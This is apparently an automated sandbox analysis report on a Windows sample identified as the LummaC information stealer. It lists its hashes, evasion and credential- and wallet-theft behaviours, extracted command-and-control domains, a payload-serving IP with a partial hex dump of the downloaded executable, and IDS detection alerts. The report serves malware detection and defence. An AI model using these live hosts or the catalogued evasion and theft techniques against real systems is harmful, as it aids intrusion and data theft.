Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1557314
MD5:	d4c2a1ba061f40bcec02e375ac69f89c
SHA1:	7ab28dc46af1842974002b49c734c74234d5892d
SHA256:	971ed167b3901301c16764e544ec2ab8cdd0d220d76677ade952a921b20fbaad
Tags:	exeuser-Bitsight
Infos:

Detection

LummaC

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected LummaC Stealer

C2 URLs / IPs found in malware configuration

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

LummaC encrypted strings found

Machine Learning detection for sample

PE file contains section with special chars

Query firmware table information (likely to detect VMs)

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Crypto Currency Wallets

AV process strings found (often used to terminate AV products)

Checks for debuggers (devices)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Deletes files inside the Windows folder

Detected non-DNS traffic on DNS port

Detected potential crypto function

Downloads executable code via HTTP

Entry point lies outside standard sections

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Searches for user specific document files

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 1112 cmdline: "C:\Users\user\Desktop\file.exe" MD5: D4C2A1BA061F40BCEC02E375AC69F89C)

chrome.exe (PID: 1612 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 5956 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2208 --field-trial-handle=2032,i,5243505765235826188,13817125492729943271,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 7700 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 7904 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2140 --field-trial-handle=1972,i,4578631636205666095,15362011055060956025,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Malware Configuration

Threatname: LummaC

{"C2 url": ["peepburry828.sbs", "p3ar11fter.sbs", "p10tgrace.sbs", "processhol.sbs", "3xp3cts1aim.sbs"], "Build id": "LOGS11--LiveTraffic"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
Process Memory Space: file.exe PID: 1112	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: file.exe PID: 1112	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 1112	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-18T02:34:09.306969+0100	2028371	3	Unknown Traffic	192.168.2.6	49710	188.114.97.3	443	TCP
2024-11-18T02:34:11.095789+0100	2028371	3	Unknown Traffic	192.168.2.6	49711	188.114.97.3	443	TCP
2024-11-18T02:34:12.565595+0100	2028371	3	Unknown Traffic	192.168.2.6	49712	188.114.97.3	443	TCP
2024-11-18T02:34:14.278604+0100	2028371	3	Unknown Traffic	192.168.2.6	49714	188.114.97.3	443	TCP
2024-11-18T02:34:15.964406+0100	2028371	3	Unknown Traffic	192.168.2.6	49720	188.114.97.3	443	TCP
2024-11-18T02:34:17.632057+0100	2028371	3	Unknown Traffic	192.168.2.6	49732	188.114.97.3	443	TCP
2024-11-18T02:34:19.370878+0100	2028371	3	Unknown Traffic	192.168.2.6	49743	188.114.97.3	443	TCP
2024-11-18T02:34:23.920228+0100	2028371	3	Unknown Traffic	192.168.2.6	49768	188.114.97.3	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-18T02:34:10.340946+0100	2054653	1	A Network Trojan was detected	192.168.2.6	49710	188.114.97.3	443	TCP
2024-11-18T02:34:11.651225+0100	2054653	1	A Network Trojan was detected	192.168.2.6	49711	188.114.97.3	443	TCP
2024-11-18T02:34:24.423088+0100	2054653	1	A Network Trojan was detected	192.168.2.6	49768	188.114.97.3	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-18T02:34:10.340946+0100	2049836	1	A Network Trojan was detected	192.168.2.6	49710	188.114.97.3	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-18T02:34:11.651225+0100	2049812	1	A Network Trojan was detected	192.168.2.6	49711	188.114.97.3	443	TCP

ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-18T02:34:25.337346+0100	2019714	2	Potentially Bad Traffic	192.168.2.6	49776	185.215.113.16	80	TCP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-18T02:34:15.055950+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.6	49714	188.114.97.3	443	TCP

Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: file.exe, 00000000.00000002.2499839266.0000000005FF2000.00000040.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2394681565.0000000007F60000.00000004.00001000.00020000.00000000.sdmp

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.6:49711 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49711 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.6:49714 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.6:49710 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49710 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49768 -> 188.114.97.3:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: peepburry828.sbs
Source: Malware configuration extractor	URLs: p3ar11fter.sbs
Source: Malware configuration extractor	URLs: p10tgrace.sbs
Source: Malware configuration extractor	URLs: processhol.sbs
Source: Malware configuration extractor	URLs: 3xp3cts1aim.sbs

Source: global traffic

TCP traffic: 192.168.2.6:64870 -> 1.1.1.1:53

Source: global traffic

HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 18 Nov 2024 01:34:25 GMTContent-Type: application/octet-streamContent-Length: 2772992Last-Modified: Mon, 18 Nov 2024 01:19:56 GMTConnection: keep-aliveETag: "673a963c-2a5000"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 c0 2a 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 00 2b 00 00 04 00 00 db ed 2a 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 61 67 68 73 70 7a 6d 62 00 00 2a 00 00 a0 00 00 00 f0 29 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 63 71 6d 70 61 65 6b 6b 00 20 00 00 00 a0 2a 00 00 04 00 00 00 2a 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 c0 2a 00 00 22 00 00 00 2e 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: Joe Sandbox View	IP Address: 13.107.246.67 13.107.246.67
Source: Joe Sandbox View	IP Address: 13.107.246.45 13.107.246.45
Source: Joe Sandbox View	IP Address: 185.215.113.16 185.215.113.16

Source: Joe Sandbox View	JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4
Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e
Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49710 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49712 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49714 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49743 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49732 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49711 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49720 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49768 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.6:49776 -> 185.215.113.16:80

Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16

Source: global traffic	HTTP traffic detected: GET /rules/other-Win32-v19.bundle HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120609v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120608v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224902v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120600v4s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120402v21s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120610v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120612v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120611v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120614v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120613v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120616v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120615v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120618v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120617v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120619v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120624v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120620v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120622v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120623v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120621v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120625v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120626v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120629v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120628v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120627v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120630v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120631v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120634v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120633v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120632v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120635v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120636v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120638v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120639v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120637v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120640v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120641v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120642v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120643v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120644v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
